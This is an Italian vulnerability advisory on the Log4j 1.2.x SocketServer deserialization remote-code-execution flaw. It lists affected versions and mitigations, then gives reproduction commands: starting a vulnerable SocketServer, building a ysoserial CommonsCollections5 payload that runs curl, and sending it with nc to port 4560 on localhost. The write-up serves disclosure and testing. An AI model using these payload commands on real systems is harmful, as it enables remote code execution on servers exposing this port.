
Apache Log4j 1.2.X ha una vulnerabilità di deserializzazione di esecuzione remota di codice.
Link di riferimento per l'avviso di vulnerabilità: https://mp.weixin.qq.com/s/okU2y0izfnKXXtXG3EfLkQ
Apache Log4j è uno strumento di registrazione open source basato su Java sviluppato dalla Apache Software Foundation. Nelle versioni della serie 1.2.X di Apache Log4j è presente una vulnerabilità di esecuzione remota di codice tramite deserializzazione. Un attaccante può sfruttare questa vulnerabilità per eseguire comandi arbitrari dannosi. In Log4j 1.2.X è inclusa una classe SocketServer che è facilmente soggetta alla deserializzazione di dati non affidabili. Quando ascolta il traffico di rete non affidabile per i dati di log, in combinazione con gadget di deserializzazione, questa classe può essere utilizzata per eseguire codice arbitrario in remoto. La vulnerabilità riguarda anche l'ultima versione disponibile.
Alto rischio
Versione interessata
1.2.4 <= Apache Log4j <= 1.2.17 (ultima versione)
Raccomandazioni per la mitigazione
Aggiornare all'ultima versione della serie Apache Log4j 2
Evitare di esporre la porta socket aperta da questa classe su Internet
Già all'epoca di Apache Log4j 2.8.1 esisteva una vulnerabilità di esecuzione remota di codice tramite deserializzazione (CVE-2017-5645), la classe interessata era org.apache.logging.log4j.core.net.server.TcpSocketServer. Passando alla serie Apache Log4j 1.2.X, la classe vulnerabile è diventata org.apache.log4j.net.SocketServer
Dopo aver cercato, si è scoperto che il modo per avviare il SocketServer di Log4j 1.X è tramite il comando java, non tramite codice Java. (Se esistono altri metodi di avvio, si prega di comunicarli.)
Allo stesso modo, è necessario scaricare i jar vulnerabili e i jar che consentono l'esecuzione di codice, impostarli nelle variabili d'ambiente (di seguito per ambiente Windows), avviare il servizio passando tre parametri: porta, file di configurazione di Log4j e directory lcf:
java -cp log4j-1.2.17.jar;c3p0-0.9.5.2.jar;mchange-commons-java-0.2.11.jar;commons-collections-3.1.jar org.apache.log4j.net.SocketServer 4560 log4jserver.properties ./
java -cp log4j-1.2.17.jar:../commons-collections/commons-collections-3.1.jar org.apache.log4j.net.SocketServer 4560 config/log4jserver.properties ./
java -jar ysoserial-master.jar CommonsCollections5 "curl http://127.0.0.1/ssrf/ssrf.php?rand=log4j" > log4j.curl.bin
nc 127.0.0.1 4560 < log4j.curl.bin
Scarica i jar correlati: https://github.com/shadow-horse/Vulenvironment/libs